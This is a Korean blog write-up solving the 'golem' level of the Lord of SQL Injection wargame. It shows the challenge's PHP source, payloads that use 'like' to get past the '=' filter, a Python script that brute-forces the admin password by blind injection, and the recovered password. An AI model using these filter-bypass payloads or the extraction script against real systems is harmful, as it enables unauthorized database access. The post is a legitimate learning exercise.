본문 바로가기
해킹/LoS(Lord of SQL Injection)

[Los] golem 풀이

by yenua 2022. 6. 12.
반응형

https://los.rubiya.kr/

 

Lord of SQLInjection

 

los.rubiya.kr

골렘은 신화에 등장하는 사람의 형상을 한 움직이는 존재로, 어떠한 물체를 매개로 마법을 사용해 창조한다. - 위키백과

 

los의 골렘을 처리해보자.

 

기본 쿼리문 및 소스코드는 아래와 같다. 

 

소스코드를 살펴보자.

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 
  highlight_file(__FILE__); 
?>

blind sql injection을 통해 pw를 정확히 알아내어야 문제를 해결할 수 있을 것 같다. 이번에는 or, and에 substr를 필터링 해두었다. 그런줄 알았는데! 자세히 보니 substr( 를 필터링 한 것이었다. 나는 substring을 쓰고 있었으니 계속 쓸 수 있다! 앗싸 인줄 알았는데; =도 필터링 되어 있다..

=부분은 우회 하는 방법을 모르겠어서 다른 라업의 힌트를 봤는데 like나 between 으로 대체할 수 있다고 한다!

찾아보니까 between은 부등호 우회에 가깝고, 등호는 like나 in으로 대체할 수 있는 것 같다. 나는 like를 사용하고자 한다.

 

1. 비밀번호 길이 찾기

pw: '||length(pw) like 8--+

url: ?pw=%27||length(pw)%20like%208--+

query : select id from prob_golem where id='guest' and pw=''||length(pw) like 8-- '

비밀번호의 길이는 8이다. 계속 8이라서 너무 좋다. ㅎㅎ

2. 비밀번호 찾기

비밀번호를 한글자 씩 찾기 위해서는 아래처럼 입력하면 된다.

pw: '||id like 'admin'&&ascii(substring(pw,1,1)) like 48-- 

query : select id from prob_orge where id='guest' and pw=''||id='admin'&&ascii(substring(pw,1,1))=48-- '

&& 때문에 pw 값은 파이썬에서 직접 파라미터에 넣어주어야 && 뒷 부분이 다른 파라미터로 인식되어 날라가는 일이 없다. 파이썬 코드는 아래와 같다.

import requests
import time

URL="https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php"

params = {'pw':''}

cookie={
    "PHPSESSID":"hfq78ei0h9rmlo9jl10lkb7kd3"
    }

password = ''
start = time.time()
for i in range(8):
    print(i, end=' ')
    for j in range(32, 127):
        params['pw'] = "'||id like 'admin'&&ascii(substring(pw,{},1)) like {}-- ".format(i+1, j)
        res = requests.get(URL, params=params, cookies=cookie)
        #print(i, j, res.text)
        if "Hello admin" in res.text:
            print("found!:{} : {}".format(i, chr(j)))
            print(res.text)
            password += chr(j)
            break

print(password)
end = time.time()
print(end - start)

orge때랑 유사하다. =를 like로 바꾸었고, 대소문자 구문을 위하여 ascii()함수를 추가로 사용하였다.

 

pw는 77d6290b 이다.

반응형

'해킹 > LoS(Lord of SQL Injection)' 카테고리의 다른 글

[Los] bugbear 풀이  (0) 2022.06.12
[Los] darkknight 풀이  (0) 2022.06.12
[Los] skeleton 풀이  (0) 2022.06.12
[Los] vampire 풀이  (0) 2022.06.12
[Los] troll 풀이  (0) 2022.06.12